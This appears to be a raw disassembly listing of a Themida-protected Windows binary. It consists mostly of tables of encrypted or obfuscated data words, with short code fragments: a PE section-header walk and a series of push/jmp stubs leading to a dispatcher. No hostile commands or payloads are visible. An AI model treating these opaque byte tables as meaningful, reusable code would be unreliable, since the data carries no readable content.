		dd 8811132h, 0DE5BF51Dh, 0CABA134h, 0B3EC5923h,	0AE369594h
		dd 0A14414B0h, 92ECA341h, 52000003h, 51E06CBDh,	9DB4A120h
		dd 5CEDD710h, 9A3913A6h, 9D2725B8h, 38ADB2BFh, 109DB4DEh
		dd 614966A7h, 0ABEA7BCFh, 2B80C221h, 4A9BBD1Dh,	2B7DA502h
		dd 0BC0C4E1Fh, 7EEDF796h, 7B5B2342h, 0F9480455h, 0EBCB87D5h
		dd 9DB51A78h, 4C065610h, 52FA4B6Fh, 84DDDB8Ah, 1130A502h
		dd 62168EA5h, 8B842E23h, 0DE8D8005h, 34C03h, 0A4B20000h
		dd 0BC922406h, 0A2A83C1Eh, 0C38D1E04h, 0E470BDE3h, 3358D7C6h
		dd 2A10AEA6h, 381AB89Ah, 2305A5A3h, 4F1CBA92h, 0FC81DD10h
		dd 0D74A16B3h, 4DE0C26Bh, 52E3F5FFh, 0D6676BFAh, 55E3E776h
		dd 72F9DEFDh, 167592D7h, 12418F59h, 109EAAF4h, 9E99E363h
		dd 0AEFE2410h, 9BAD02A4h, 0E3B1FF51h, 9E9A1872h, 55FB4C10h
		dd 91B68504h, 0F8ADFB5Fh, 0E687E6E2h, 6EA82657h, 9FCA109Eh
		dd 0B24D6221h, 0D6CCA6Ah, 1AA991AEh, 0DEE62736h, 8EE4AAAFh
		dd 30CCF316h, 0D7C6D80Dh, 0E627C40Ch, 6108973h,	322FBE80h
		dd 2A5h, 9B3B1BA7h, 892925B5h, 953515A7h, 8E2C24B3h, 97371DACh
		dd 0D3628BA4h, 0B1FF2181h, 8C1F01A1h, 0A93C1EBCh, 193603A3h
		dd 0B3FC6AE4h, 84DE3316h, 8E1D6CBDh, 0CE9FAFFFh, 0FE1F2E4Fh
		dd 0CB1A409Fh, 9EA03F89h, 242E7E0Bh, 83D2F445h,	0F190BA0Eh
		dd 82CC5E60h, 0D6739DB3h, 0F4D607EFh, 3D5CED63h, 32E059B3h
		dd 0B50DAD9Fh, 0A341EAE7h, 2104Fh, 0F94A7000h, 3D870657h
		dd 4EE0C2A3h, 0BB0D3100h, 3E5FBE8Fh, 0B4F757B6h, 0A033109Dh
		dd 9A270BA8h, 626AABBAh, 4FF94E74h, 387DCFEh, 9DB578D2h
		dd 0BDDC4110h, 0CF6CE6ACh, 1E6BFF28h, 725DB9Dh,	489BBDh
		dd 4D4A0AA2h, 48F2A341h, 48000000h, 0EBC8BEA3h,	8E98F77Ah
		dd 0D88D1016h, 80056EEAh, 0CE815C0Bh, 7E000001h, 0A2882630h
		dd 0BAA03E10h, 0A4862426h, 0BB9D3D13h, 9588262Eh, 70E4719Ah
		dd 72E07052h, 6FD96E54h, 74D8694Fh, 13428D56h, 16B3FCB7h
		dd 0D6352980h, 0B51284F9h, 173B109Dh, 0B13E86C6h, 29381CA9h
		dd 0D6B79325h, 5CED63F4h, 0C90D5C3Dh, 0CEF4D276h, 8FB90E7Bh
		dd 2F3E5FBEh, 93B50A30h, 8EF0ED49h, 93B50A30h, 90BC0D33h
		dd 232F7DC1h, 0E7879A83h, 0AB002F95h, 54CE3F20h, 1D109E96h
		dd 0D36569F8h, 0D3661FB4h, 0C8A9E879h, 0D10D09A9h, 972710AFh
		dd 673C793Dh, 87CB1AA2h, 50025235h, 8BB49131h, 684613BAh
		dd 0C44D72A8h, 506D4CB8h, 96F4935Dh, 0D7109E70h, 0BE2866F3h
		dd 842A5EBCh, 0BFFBC5A4h, 73EF1EAAh, 0AC109DCEh, 9DCDDD39h
		dd 0D867A610h, 86F7D4B5h, 168EC83Fh, 7C5E7DA0h,	634764EAh
		dd 0A8E978D0h, 0BE103220h, 9D82C190h, 0E1E3271Dh, 95B70180h
		dd 13370642h, 9ABC8DC5h, 0F7350446h, 0A4FCCEF2h, 1FF2A710h
		dd 617E617Eh, 8A12B22Ch, 0D21A7B0Ah, 7B07FE33h,	63167710h
		dd 79F1DC8Dh, 0A6F6D39Ah, 0A6000000h, 0BAA03E18h, 0A2882628h
		dd 0BC9E3C0Eh, 0A385252Bh, 0ADA03E16h, 78DC6982h, 6AE8785Ah
		dd 77D1664Ch, 6CE07157h, 2B5A854Eh, 16B3FDAFh, 0BD3D2178h
		dd 0DCC3E06Ch, 2ADEFC36h, 0CD1CA4EAh, 351BAC8Eh, 0F9DBE524h
		dd 5BB72668h, 24109DD8h, 0C9B180E1h, 351DCA3Fh,	3B1DA7A3h
		dd 0FF4FDFAAh, 704E2F6Eh, 41C904D4h, 17ACA3h, 70920000h
		dd 109DB511h, 118AFC4Dh, 2DCFFC5h, 183797F6h, 1Ch, 0B51270B6h
		dd 0FB4E109Dh, 6B547151h, 4CC14E4Fh, 109DF6D2h,	0E557A9Bh
		dd 5A04CC3Ah, 255D168h,	2F000000h, 0E571BD6Dh, 6DDF7254h
		dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h
		dd 0AF9B2D11h, 242ABC9Eh, 0EC832215h, 48F5404h,	24048124h
		dd 4, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 52241489h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	6568241Ch, 8B061645h
		dd 0C4812414h, 4, 8904EC83h, 4812424h, 424h, 89515B00h
		dd 84B89D1h, 83240C8Bh,	34FF04C4h, 0C4815B24h, 4, 5024148Bh
		dd 405E089h, 83000000h,	48704C0h, 31E95C24h, 3DFFFD36h
		dd 0A0A99707h, 357A6A53h, 0ECD01A98h
; ---------------------------------------------------------------------------


loc_5B0E08:				; CODE XREF: Themida_:005B07F8j
		mov	eax, 6164AB4h
		add	eax, ebp


loc_5B0E0F:				; CODE XREF: Themida_:005B07F3j
		mov	edx, ecx
		jmp	loc_5B0E67
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5B0E31:				; CODE XREF: Themida_:005B0E5Cj
		cmp	ecx, 0
		jz	loc_5B0E50
		cmp	edi, [edx+0Ch]
		jg	loc_5B0E58
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5B0E50:				; CODE XREF: Themida_:005B0E34j
					; Themida_:005B0E62j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5B0E58:				; CODE XREF: Themida_:005B0E3Dj
		add	edx, 28h
		dec	ecx
		jnz	loc_5B0E31
		jmp	loc_5B0E50
; ---------------------------------------------------------------------------


loc_5B0E67:				; CODE XREF: Themida_:005B0E11j
		mov	edx, 9FD3Eh
		jmp	loc_5B0FD7
; ---------------------------------------------------------------------------
		db 0B9h, 0D9h, 0D7h
		dd 95ECE75Dh, 715893DAh, 0B6CFDF06h, 5D54FDBEh,	0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
		dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
		dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
		dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
		dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h,	0AE29B0F3h
		dd 38h,	60h, 64h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 76726553h, 20656369h, 6B636150h
		dd 3220h, 26h dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B0FD7:				; CODE XREF: Themida_:005B0E6Cj
		jmp	loc_5B2F71
; ---------------------------------------------------------------------------
		push	6164F20h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6165018h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61650BBh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	616519Dh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	616522Fh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6165310h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61653B7h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6165461h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	616586Ah
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61658F8h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6165A0Eh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6165D1Ch
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6166146h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6166467h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61665AAh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	616661Ch
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	616667Ch
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61666CEh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	616686Ah
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6166965h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6166B27h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dw 15A1h
		dd 0EF3F6141h, 7597F5Fh, 0EE3D6343h, 0CF5E4462h, 39F62585h
		dd 0EFCF85D4h, 0F7D77BC9h, 0ECCA7ED1h, 0F9D973C6h, 247EEFF0h
		dd 0ED16B402h, 0E0C28AB4h, 716EFF4Dh, 9DB4A2FCh, 4B2A6B10h
		dd 4EFE4F81h, 57FB4971h, 0AE3D8706h, 933319ACh,	9B384E93h
		dd 8EA30F6Ah, 3270816h,	6DE998B0h, 360A8A9Fh, 985F8D7h
		dd 0D20A8A9Fh, 59BC29B3h, 0E8E4CB08h, 0F74D203Fh, 0BB8F2185h
		dd 0CB74D231h, 3FCB0A89h, 0F0D2A2CAh, 3A7A5AADh, 0E0000000h
		dd 0EBC8BEA3h, 8BDA7AC7h, 554F447h, 0FEDBE584h,	8E988E8Fh
		dd 2F3E5F16h, 8A8980DEh, 0BE3BD70Ah, 0EE7A2E19h, 3F0E4291h
		dd 0DA98F9DEh, 6E2EB63Eh, 0D65AADD8h, 0B6h, 0E06CBD6Ch
		dd 0FF4FDFC3h, 46A52F6Eh, 0CE9FB504h, 4213398Ch, 3F9FAD00h
		dd 52CC411Eh, 1B109DB5h, 0B54DC93Ch, 0F716109Dh, 0A0BF4E96h
		dd 5D109DB1h, 5D67E375h, 4462EA7Bh, 0B081CB5Eh,	0BA196D74h
		dd 8EB6464Bh, 1DAB8F16h, 0A28C0677h, 30550A8Ah,	37810051h
		dd 4B4B6BAAh, 22537016h, 10750C1Fh, 143695F8h, 92F8FC5h
		dd 40E598BCh, 5D79EFE8h, 1CD093CEh, 51DD0000h, 3383A505h
		dd 4395BB1Bh, 3281A707h, 4B9AC01Eh, 0B57AA909h,	6B4B0958h
		dd 7B5BF745h, 68460255h, 7D5DEF42h, 0A0FA6B74h,	6916B403h
		dd 70BD0E30h, 51E4C6E4h, 89249335h, 9680462h, 0BEA30FA9h
		dd 7AC7EBC8h, 0B687C717h, 0B1AE3657h, 8E985D3Ch, 5EEF2E16h
		dd 8A87AF2Fh, 0F55DEB0Ah, 80D26264h, 87048EB1h,	3EBB579Eh
		dd 0AD395E1Eh, 0C2065Ah, 0BD5C0000h, 6D51E06Ch,	94E574E0h
		dd 109DB177h, 7DF09E2Fh, 109DB121h, 0FA490555h,	0FBDCFA9Bh
		dd 0AFF755D4h, 0D665EBAEh, 7FD11B7Ah, 104F1E2Eh, 0A9B89A2Ah
		dd 6298A6A2h, 0C6DA769h, 157178C4h, 6F4247B6h, 0AC8B168Eh
		dd 5C005A8Bh, 44C90A8Ah, 8A5BB915h, 0B903820Ah,	0E6C6232Ch
		dd 9DFB3942h, 87E2DEFCh, 99ADE0FFh, 92107479h, 1E2F1DB0h
		dd 19419EFFh, 82A88CCh,	4DE69BB9h, 5679EF64h, 1BD8BA97h
		dd 89D50000h, 7BCBEDCDh, 7BCDF3D3h, 7AC9EFCFh, 83D2F8D6h
		dd 6DC2F1D1h, 3A3B100h,	0E3C38F1Dh, 0DE6ABDh, 0E5C587DAh
		dd 882F3DCh, 0D116B405h, 0E0C2E658h, 98BA0250h,	85AB0B49h
		dd 20BA1834h, 51E06CBDh, 5270DC6Dh, 8CFB4D75h, 6B75143Ah
		dd 11588965h, 503123B2h, 0A5630273h, 1174168Eh,	0C8FB5FEEh
		dd 3C25A600h, 5F86D4Ah,	0FE53ED25h, 7772CE9Fh, 883DB00Fh
		dd 14DD9FBh, 0ED203F9Ch, 41D5E771h, 0C411DB3Ah,	0A1014BDEh
		dd 450F9E84h, 8108597Bh, 0CD4C1D31h, 0D5E0B9ACh, 5615B750h
		dd 1B357Bh, 6CEA7800h, 74DA6C4Eh, 6AE07456h, 7BD5664Ch
		dd 6CE8755Bh, 0BBD05F4Eh, 0A288262Eh, 40624012h, 5B7D5DEBh
		dd 5764420Ah, 4890578h,	3F5216B4h, 0E06CBD23h, 20557251h
		dd 109DB4A6h, 388C2E6Fh, 0FAC24312h, 0B025A3BEh, 109DB556h
		dd 0A1A93B1Fh, 71107190h, 0AF3E2352h, 0B6D7168Eh, 1103718h
		dd 7A1E139Ch, 0C0D2F8C0h, 0E7C4C2A7h, 7B3CF776h, 434F7810h
		dd 188BD5A9h, 0EAF07D47h, 0ABDAF95Bh, 477392Fh,	13F495F8h
		dd 66EA17Ah, 0D4B2B7CBh, 0CC7386F7h, 296C42B6h,	0FEC51C18h
		dd 7293A2ACh, 3E8EB413h, 0E2C44514h, 0E6F3FD4Fh, 0A3A3C277h
		dd 3887AB3Ch, 0C84918h,	9D852263h, 92F3420Eh, 94250D4Ah
		dd 153D1AB8h, 135DC2C4h, 0E059EEBBh, 8751B081h,	2558F445h
		dd 0A61A965Eh, 53EDE87Fh, 5A00001Ah, 466C4A0Ch,	567C5AF4h
		dd 486A4802h, 577959F7h, 396C4A0Ah, 0C4895F6h, 163C8CAEh
		dd 0B3D92B8h, 183485ABh, 3FAEB1BAh, 16B405E3h, 0BDC975ACh
		dd 5351E06Ch, 2A5B780Eh, 168EA4EBh, 70EA1B3Ch, 390A8AA4h
		dd 2F15B5D4h, 0C2C41DBEh, 94F170E5h, 8302107Bh,	0EABFED60h
		dd 243D800Eh, 0CE5D4562h, 0E12437BCh, 0DCBD6B09h, 0A396C714h
		dd 9C6DC008h, 95CCE879h, 0CEA3D2F1h, 4767ACDFh,	70C1E9C6h
		dd 89DCFEDCh, 0B9E38EC3h, 39F0D123h, 19C11Ch, 0F85EEC00h
		dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h, 0F85CE9CFh, 2744EBDAh
		dd 361CBA9Ah, 2C0EACA6h, 2F11B197h, 4310AE9Eh, 76DE91Ch
		dd 0E33616B4h, 0C6DDC27Fh, 13354E0Fh, 83D27CCEh, 77596302h
		dd 0D9D766E6h, 0A4D9F690h, 168EE8A1h, 9ABB1B7Ah, 0A12B29B8h
		dd 96BC26ABh, 1B380943h, 8AD670EAh, 0B5D4390Ah,	0ACDA0F2Bh
		dd 0C75FDE0Fh, 6770107Bh, 64607ABCh, 44557A6Dh,	3569BCCAh
		dd 0A8F71879h, 10213382h, 2498E7F1h, 91E1B9D8h,	743A90A6h
		dd 0BA02ECC4h, 8423637Eh, 26D65C51h, 372550Dh, 122D387h
		dd 9DACCD50h, 0F26CA1BEh, 0BB0122D2h, 0A98B755Ah, 634D081h
		dd 1F6782BEh, 5479AC0h,	9A6F9EBBh, 830713A6h, 7840109Fh
		dd 250DAAEBh, 381AB894h, 0C9B2A7A5h, 2708A80h, 18E06E6Bh
		dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh
		dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h
		dd 50CA3B24h, 1916B408h, 6CBD5E00h, 0E5351E0h, 97C5B78h
		dd 109DB48Dh, 0B0AD3756h, 8EAA083Dh, 0C4C6F116h, 727F4849h
		dd 0ADF07D47h, 16B7270Dh, 0E91CBBCBh, 107B1448h, 3AD33459h
		dd 772EA09Bh, 4562243Dh, 9F0B1D10h, 0F6311676h,	0D9E2644h
		dd 0EB7AD665h, 9BAACBAAh, 6542449Dh, 8BA13DF0h,	4194B670h
		dd 0BADB3A0Bh, 0A8A4351Dh, 0B5052D0Ah, 0ACFD4F99h, 7BD4ADA0h
		dd 32F9DA02h, 183917h, 70E67400h, 70DE7052h, 6EDC7052h
		dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh
		dd 775979CFh, 7B4866E6h, 7A52154h, 3B6E16B4h, 70E5C207h
		dd 109DB516h, 2436BEDFh, 8EAABB91h, 0AE943353h,	2224351Fh
		dd 6BAABB8Dh, 0DE38AD0Ah, 0A7109DB4h, 0C815E66h, 168BF8DCh
		dd 0B32F5E81h, 7C0A8767h, 0F312CF19h, 7FDFEBD4h, 979D3329h
		dd 972A104Dh, 0FCE615B5h, 0F60A8728h, 173999E9h, 12986C6h
		dd 7559FB3h, 7A4E207h, 756DC6D6h, 3D9AFB10h, 2989C515h
		dd 0C697B707h, 661B3184h, 79EBCB89h, 8FF6D39Ah,	1E000017h
		dd 0C2E8C690h, 0DA00DE70h, 0C4E6C486h, 0DBFDDD73h, 0B5E8C68Eh
		dd 90C4117Ah, 92C01032h, 8FB90E34h, 94B8092Fh, 0B3222D36h
		dd 16B40957h, 0A3550920h, 0CCEBC8BEh, 0BEFD42E3h, 0A7311495h
		dd 8C314858h, 0BB187D16h, 6EAFB39Ch, 0F5FDD169h, 845190CEh
		dd 48905C52h, 3999B306h, 3A0E2FDh, 0D091481Ch, 0C711B6B9h
		dd 9F0B5B8Ah, 59BC0A87h, 9F187908h, 706F0A87h, 8C54F64Ah
		dd 0FCDE8902h, 7FD7E167h, 5AA80CB1h, 8019h, 0DDC23D00h
		dd 8BF04928h, 3D794387h, 64436022h, 0D465EF3Eh,	90C411B5h
		dd 97840C1h, 109DC991h,	93C2E5C2h, 109DCA37h, 72EC9D00h
		dd 3B109DCAh, 305512DAh, 0CA72D021h, 1AAE109Dh,	8A1D2130h
		dd 1AABAFBEh, 0C1E22332h, 844D38D1h, 0E4C6710Ah, 6AF2FA50h
		dd 0A341F3AAh, 2412h, 11702800h, 33109DB5h, 0A7B582Eh
		dd 168EA403h, 70DA6E54h, 4CDDE1h, 27B1D031h, 5A7B5BBAh
		dd 626AE878h, 0C8BEA3F8h, 51E6CCEBh, 0CFAEA434h, 0AF9B8605h
		dd 0C144168Eh, 51FB4E70h, 2735471h, 0A8A9888h, 0D204CC51h
		dd 84DE0F7Fh, 0BD0A8A98h, 8A97CE48h, 0E976970Ah, 0C4E6C5A4h
		dd 508FDE74h, 8A97C11Dh, 6A0B8A0Ah, 97BE184Dh, 6870A8Ah
		dd 9E2B2FBEh, 9C2B66F3h, 564A5B4h, 62F1D564h, 0D0B1992Bh
		dd 63EF3D81h, 781181D2h, 0A285BA8Dh, 8A97D733h,	737DA00Ah
		dd 5FF2A019h, 5AEBCDEDh
		dd 0CDAC9C2Fh, 5D29407Ch, 84020F7Eh, 0AAEB107Bh, 0B4072B0Ch
		dd 7C44C594h, 6645075Ah, 7492A441h, 9D3CEF3h, 95CC2B5Ah
		dd 1D555C84h, 95D4FBACh, 0F0976FD8h, 22B3A52Fh,	13A68C2Ah
		dd 72B2839h, 0FD4F99B9h, 0BD93A2AEh, 0B90CB653h, 0BC0D3393h
		dd 80D17DCDh, 0D3D16001h, 0AADBF88Eh, 92319437h, 2C0EADF0h
		dd 0F45EEE97h, 0F4452465h, 2B0D4B95h, 2D15B29Ah, 0C726AE9Ah
		dd 4C1D3583h, 0E7D1B90Ah, 8F2E35C3h, 5A7CCDACh,	0D1F64709h
		dd 9C513AC3h, 0F121324Ah, 3517AA58h, 0B384E524h, 0C518CA3Fh
		dd 21062787h, 0C351AAC3h, 26B317E3h, 0F6FE1F2Eh, 6AFB51E4h
		dd 21B0134Eh, 755233h, 8C1DD109h, 86C4183Ah, 0E18E56B7h
		dd 0A93C1EBCh, 8AB592A3h, 4DA3F175h, 449ECF44h,	0D801A4Eh
		dd 0A0DFE988h, 701A4E22h, 0B180CA5Eh, 42133F8Dh, 7E67E40Eh
		dd 13C4355Dh, 2AB2A22Fh, 17B79528h, 9BAA9E31h, 1B2A2AB7h
		dd 0AE64D573h, 0A98F2F19h, 0AD953216h, 0E223321Eh, 0F8478BDAh
		dd 4DEF6B9Ah, 9123701Ah, 0DA69A8B9h, 0D88BDABBh, 0DD75C3E7h
		dd 52007913h, 0FE588DFDh, 32701A4Dh, 7E9FAEA0h,	0EDCDACF1h
		dd 81D078CBh, 6B483E23h, 0B482FFAh, 0A4B5D876h,	15CD3EB0h
		dd 72886C2h, 3259B528h,	0E3226A07h, 2366F7D9h, 8BDABB93h
		dd 4293F647h, 0B78FA50Ah, 319D9585h, 8FF90150h,	57F548FAh
		dd 164E4F78h, 0F3D874C5h, 757FAD5Fh, 0D3644667h, 2DEB737Dh
		dd 95FA28F5h, 23h, 0DE6ABDA9h, 4E38318Fh, 85A9FC71h, 0EDD2168Eh
		dd 71449EBCh, 0FA677164h, 0A7C684D8h, 3F2807h, 0C2860000h
		dd 320351E0h, 74C709D3h, 0A5D8F7D4h, 109DB529h,	0F07FCB5Dh
		dd 0B5247EEFh, 0A8ED109Dh, 4460FFC9h, 654A691Dh, 0B3FCA904h
		dd 0BC99234Ch, 8F32F449h, 0FB6A6D16h, 0A8B2E9Fh, 66442568h
		dd 0C0D9B9CCh, 74EE1FA9h, 3D109DB5h, 0EB1AB9D8h, 168EA64Ah
		dd 0B29D3A5Bh, 29773299h, 6627B115h, 1B2C6BE7h,	675C85DEh
		dd 0A8E978D8h, 77C8EAC9h, 0E5C20FD9h, 9B1D6FBDh, 0F5F78133h
		dd 0C3428AEBh, 1BC80DAEh, 0D9D766A7h, 0ABA33390h, 0E5CAEDCAh
		dd 5B7CC384h, 22616B47h, 15B4E34Fh, 213382C8h, 1524307Dh
		dd 143695F4h, 0D775C8C1h, 0C73619B6h, 9B0CF4Bh,	0E9E7F114h
		dd 0C11376C7h, 3859B889h, 2BBD3045h, 0A3BE6D7Fh, 1386h
		dd 1BBB9B27h, 9A9A535h,	15B59527h, 0EACA433h, 17B79D2Ch
		dd 53E20B24h, 317FA101h, 0C9F8121h, 29BC9E3Ch, 99B68323h
		dd 0B40CEA64h, 45EB316h, 9DB61670h, 8F393010h, 203119ABh
		dd 0B41670E1h, 0DF109Dh, 9DB4118Dh, 0DABBDA10h,	0A5361CBBh
		dd 717B9AABh, 0A21CF164h, 0B0D5168Eh, 0AC9C2F13h, 310E310Eh
		dd 8A9C62BCh, 7BEA2B0Ah, 0A8A9C1Fh, 9BA92558h, 13720A8Ah
		dd 0D5F7C144h, 5377C682h, 0C174A02h, 3580058Ah,	12F85B76h
		dd 29B50000h, 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h
		dd 8DA29131h, 2383D160h, 3A3AFFDh, 20BE8A1Dh, 5A5A73Ah
		dd 68E2133Ch, 3116B40Dh, 0E5C246F8h, 9DB51670h,	36BEDF10h
		dd 8A7DF0Ah, 8EA400D5h,	7754B916h, 70E27258h, 7AD46668h
		dd 6AE4765Ch, 0E666F7DBh, 6BE37357h, 2569F8DAh,	0AC7A96A2h
		dd 0EE7F1E52h, 2411AA28h, 3AED5E90h, 0F1DB1B15h, 0C20AD7D4h
		dd 0B2103E90h, 7078118Ch, 17A7F314h, 0AAAF9837h, 27135EC7h
		dd 176605CFh, 0A8AAAB6h, 0E98E2B97h, 16DE72C1h,	0FFDC72C4h
		dd 72C38BDBh, 0A58BC913h, 0C283915h, 0E312B1D5h, 1078EF91h
		dd 2288706h, 72D5D7AFh,	7D005537h, 9398BF1Ch, 0A85875E1h
		dd 4A706E76h, 517655F7h, 0C5315BE3h, 10CF195Ch,	1AB9CD14h
		dd 62F414EBh, 0AF0C910Ah, 0A13FA790h, 92A881C1h, 636D0C3Eh
		dd 4E6CE071h, 5473D96Ch, 8BB3816Bh, 3CD7BFDh, 65214864h
		dd 39FA1746h, 0C243044Fh, 0C6279E8Fh, 0D9F4B36Dh, 11E2h
		dd 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh, 0F3D381D0h
		dd 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h, 0D521FBFh
		dd 0B40F7ED8h, 70D24716h, 2130DDC2h, 599871D8h,	0E89DF08Fh
		dd 6EC1109Dh, 0A5BCFCDAh, 0E493C2E1h, 51168C33h, 62BC310Eh
		dd 2B0A879Dh, 9D1F7BEAh, 0A5E80A87h, 71C3E7C4h,	475FF9D9h
		dd 0A3C1DE89h, 18531h, 0E0C20500h, 0C7F3FD4Bh, 0DFC3E09Eh
		dd 0D1300151h, 93C24D07h, 109DB532h, 1F7BEA29h,	0E8109DB5h
		dd 0C3E7C4A5h, 0A8BDA72h, 68C218C2h, 77580B75h,	9DB48C06h
		dd 0DD6D5510h, 42B31071h, 109DB4C8h, 1AC40C91h,	8675DDC2h
		dd 5C430D9Eh, 22AAD31Ch, 9EB8C816h, 0BDA3A781h,	64FE6BC7h
		dd 41DE9947h, 0EC547BA6h, 0A7D32489h, 37B2E9F3h, 88000000h
		dd 69C5BBA3h, 0B53293C2h, 8203109Dh, 50E0C2A8h,	3F5EEE3Fh
		dd 0A887A8B5h, 9DB4D935h, 5963A210h, 0DF6BBDFFh, 4DDC283h
		dd 1B60CC9h, 0A87A9C24h, 53C4h,	0BBA36A00h, 0DE062AFFh
		dd 7F1E66C4h, 0CF47760h, 0BDBD5318h, 9E87CE48h,	17769710h
		dd 0DDC213CDh, 0AD20ACF8h, 578625CEh, 109DC6FBh, 5A7741C4h
		dd 9DC6AA2Bh, 372A110h,	109DC687h, 0E84128B8h, 6CFBF6D3h
		dd 0C2EE4829h, 51E0C268h, 4597B903h, 0E37D2905h, 41DE9947h
		dd 4641A6h, 0B0920000h,	2DA7311Fh, 6BC7BDA3h, 0F5BAE5C2h
		dd 60BA2BC9h, 29109E7Ch, 1844BFE4h, 56B7569Eh, 27109E7Ah
		dd 0E0C24CE6h, 0E6F3FD4Bh, 4DE0C24Ch, 0B552CC41h, 0FA1B109Dh
		dd 814BCA9Bh, 0F34FFF4Fh, 1BC4E37Dh, 6A000000h,	6BC7BDA3h
		dd 351E0C2h, 0E8699CB9h, 0DF109DB4h, 68C2E47Eh,	45E16DBDh
		dd 0E5C2E37Dh, 9DB51670h, 0C41E4F10h, 8D109DB4h, 0F8DA3B08h
		dd 3859E866h, 0FE79A5B0h, 0A486FFFFh, 0EF2E3F15h, 0E0C27BE5h
		dd 7CB8004Eh, 53822165h, 168BF941h, 92B81776h, 90AD0D3Fh
		dd 89DE87A7h, 0DD7CBF3h, 0EFCCB6B1h, 35ABE7D0h,	6B9B5F6Dh
		dd 86F9A0FAh, 8724690Ah, 86F9FC56h, 7840C50Ah, 0F9B02A5Bh
		dd 14790A86h, 93240645h, 7CD433BDh, 0C70A86FAh,	0CC46B798h
		dd 950A86F9h, 50FA4E70h, 0DA8DFE88h, 346CDCF5h,	0DD7B0F7h
		dd 0A84A8755h, 2B2F5Ah,	70130000h, 109DB512h, 7151FB4Eh
		dd 9DB48302h, 7BCA510h,	49C899B9h, 435A8B28h, 84168EA3h
		dd 9E84A101h, 5D78400Ah, 0B2h, 0C8BEA301h, 0AB037AEBh
		dd 8104168Eh, 0A3EFFD22h, 3143DB15h, 9B00A4CAh,	0F4FC41CAh
		dd 0D870C3E7h, 0C787D7FBh, 8FCD1776h, 233216A9h, 0DAADC05h
		dd 7888B0D8h, 33A28510h, 473F7D7h, 0C495BD0Bh, 3397F645h
		dd 0C623ADA5h, 16476847h, 473F7BCh, 9BB80085h, 0FF5E24B7h
		dd 0E151157Bh, 0ECCEEC8Dh, 4460F157h, 1B4A691Dh, 0A623E6Fh
		dd 3416B5D8h, 250BABA1h, 8EC5B894h, 0CF73D898h,	0ED43D18h
		dd 8DD90000h, 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh
		dd 71BEEDCDh, 2787CD1Ch, 3F9FB301h, 2482C619h, 1A1ABFEh
		dd 6CE61738h, 3516B412h, 0E5C282DCh, 9DB51670h,	6DFBDF10h
		dd 543554E5h, 55F74A8Ch, 0DD6FC204h, 0FE87DCFEh, 7091A0AAh
		dd 7218C711h, 1EAF63D8h, 6434902Eh, 0CCA341E6h,	68h, 0C8BEA372h
		dd 57E6CCEBh, 99A8AA3Ah, 30CF1978h, 168EA63Dh, 0C8C11436h
		dd 786D775h, 0D7B6D766h, 98F14486h, 0D7360745h,	183718B6h
		dd 8AA369E5h, 9D3320Ah,	0F9D676C7h, 0BA0D84D1h,	3F5EEF8Eh
		dd 311936B5h, 783F2A4h,	0D00A8AA3h, 0FC1D2C4Dh,	0E5A1C8F4h
		dd 72C1E9C6h, 0C60E8FDEh, 7B98AE47h, 1AABAF10h,	0D5735332h
		dd 0C1E16DBDh, 0E0FF4FDFh, 0C9E668FAh, 9DB53A94h, 3A820310h
		dd 0B5055AABh, 9A2D109Dh, 0B2F10AEh, 0CC84D3BEh, 737D1C7Dh
		dd 47642247h, 8BFF7816h, 0E7163916h, 0A87696Bh,	5A07D134h
		dd 22B69C3Bh, 8BAC8B28h, 8769005Ah, 1544C90Ah, 0A8768B9h
